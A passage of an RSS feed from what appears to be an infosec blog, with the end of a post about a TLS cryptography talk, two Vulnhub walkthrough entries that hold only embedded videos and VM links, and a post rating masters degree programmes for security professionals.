&lt;p&gt;The whole recording is &lt;a href=&quot;https://youtu.be/fd4u6GseRzc&quot;&gt;here&lt;/a&gt; and I will be making the slides available when I find a decent host that isn’t that awful LinkedIn one. In the mean time you can tap me up on slack and I’ll chuck them over (there is a bonus set of slides at the bottom of the deck that cover RSA too)&lt;/p&gt;

&lt;p&gt;Next time we’ll be working our way further in into our TLS ciphersuite and will be looking at symmetric encryption. Exciting.&lt;/p&gt;

&lt;p&gt;Any questions, feedback, abuse: hit me on slack or twitter &lt;a href=&quot;https://twitter.com/TunnyTraffic&quot;&gt;@TunnyTraffic&lt;/a&gt;.&lt;/p&gt;
</description>
            <pubDate>Fri, 09 Jun 2017 17:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Vulnhub Video Walkthrough Series: Skytower</title>
            <link>/vulnhub/2017/03/11/vulnhub_skytower.html</link>
            <guid isPermaLink="true">/vulnhub/2017/03/11/vulnhub_skytower.html</guid>
            <description>&lt;iframe width=&quot;1280&quot; height=&quot;720&quot; src=&quot;https://www.youtube.com/embed/XqYtDDZTG6U&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;br /&gt;
VM Link - &lt;a href=&quot;https://www.vulnhub.com/entry/skytower-1,96/&quot;&gt;Skytower 1.96&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;
</description>
            <pubDate>Sat, 11 Mar 2017 17:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Vulnhub Video Walkthrough Series: Kioptrix 1.1</title>
            <link>/vulnhub/2017/03/11/vulnhub_kioptrix1-1.html</link>
            <guid isPermaLink="true">/vulnhub/2017/03/11/vulnhub_kioptrix1-1.html</guid>
            <description>&lt;iframe width=&quot;1280&quot; height=&quot;720&quot; src=&quot;https://www.youtube.com/embed/D7Klu9N5wuA&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;br /&gt;
VM Link - &lt;a href=&quot;https://www.vulnhub.com/entry/kioptrix-level-11-2,23/&quot;&gt;Kioptrix 1.1&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;
</description>
            <pubDate>Sat, 11 Mar 2017 17:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Rating Infosec Relevant Masters Programs</title>
            <link>/training/development/certifications/2017/03/08/rating_infosec_masters.html</link>
            <guid isPermaLink="true">/training/development/certifications/2017/03/08/rating_infosec_masters.html</guid>
            <description>&lt;p&gt;This post will delve into the masters degree programs currently offered nationwide within the US that have relevance to an infosec professional trying to get a leg up in their career. The goal is to remain as objective as possible and provide a single offering considered as the “best” choice within its relevant category.&lt;/p&gt;

&lt;h3 id=&quot;infosec-focused&quot;&gt;Infosec Focused&lt;/h3&gt;
&lt;h4 id=&quot;sans-msise&quot;&gt;SANS MSISE&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Reason:&lt;/strong&gt; This masters degree will offer you an level of exposure to information security, in a very practical and applicable sense, that is unparalleled by any other degree program. This exposure to the information security field, both as a whole and in the specialty you choose to pursue, also offers significant networking opportunities and a chance to achieve one of the most respected certifications; the GSE (a capstone and requisite for the degree).&lt;br /&gt;
&lt;strong&gt;Delivery:&lt;/strong&gt; Hybrid, in-person and online.&lt;br /&gt;
&lt;strong&gt;Costs:&lt;/strong&gt; ~$20k-45k (depending on workstudy and transferrables).&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;compsci-focused&quot;&gt;CompSci Focused&lt;/h3&gt;
&lt;h4 id=&quot;georgia-tech-oms-cs&quot;&gt;Georgia Tech OMS CS&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Reason:&lt;/strong&gt; It’s accessibility, associated costs, delivery platform, brand name, and high quality of material all conspire to make this one of the most solid choices available.&lt;br /&gt;
&lt;strong&gt;Delivery:&lt;/strong&gt; Online&lt;br /&gt;
&lt;strong&gt;Costs:&lt;/strong&gt; ~$16k&lt;/p&gt;

&lt;hr /&gt;
&lt;h3 id=&quot;efficiency-focused&quot;&gt;Efficiency Focused&lt;/h3&gt;
&lt;h4 id=&quot;wgu&quot;&gt;WGU&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Reason:&lt;/strong&gt; This university cannot get enough props for the successes they’ve made in their stated goal: offering a quality degree that caters to the working professional. Unbeatable in the objective metrics of time-to-complete, associated costs, and employability. Regionally accredited, this school often seems as too good to be true, with a price model that allows you unlimited access to any and all classes upon enrollment for 6 month periods, allowing documented cases of individuals achieving their masters degrees in only 6 months time.&lt;br /&gt;
&lt;strong&gt;Deliver:&lt;/strong&gt; Online&lt;br /&gt;
&lt;strong&gt;Costs:&lt;/strong&gt; ~$3k-16k&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;br /&gt;
- Kalabaster&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Work-in-progress: Last Updated 2017-03-08&lt;/em&gt;&lt;/p&gt;
</description>
            <pubDate>Wed, 08 Mar 2017 16:00:00 +0000</pubDate>
        </item>
        
    </channel>
</rss>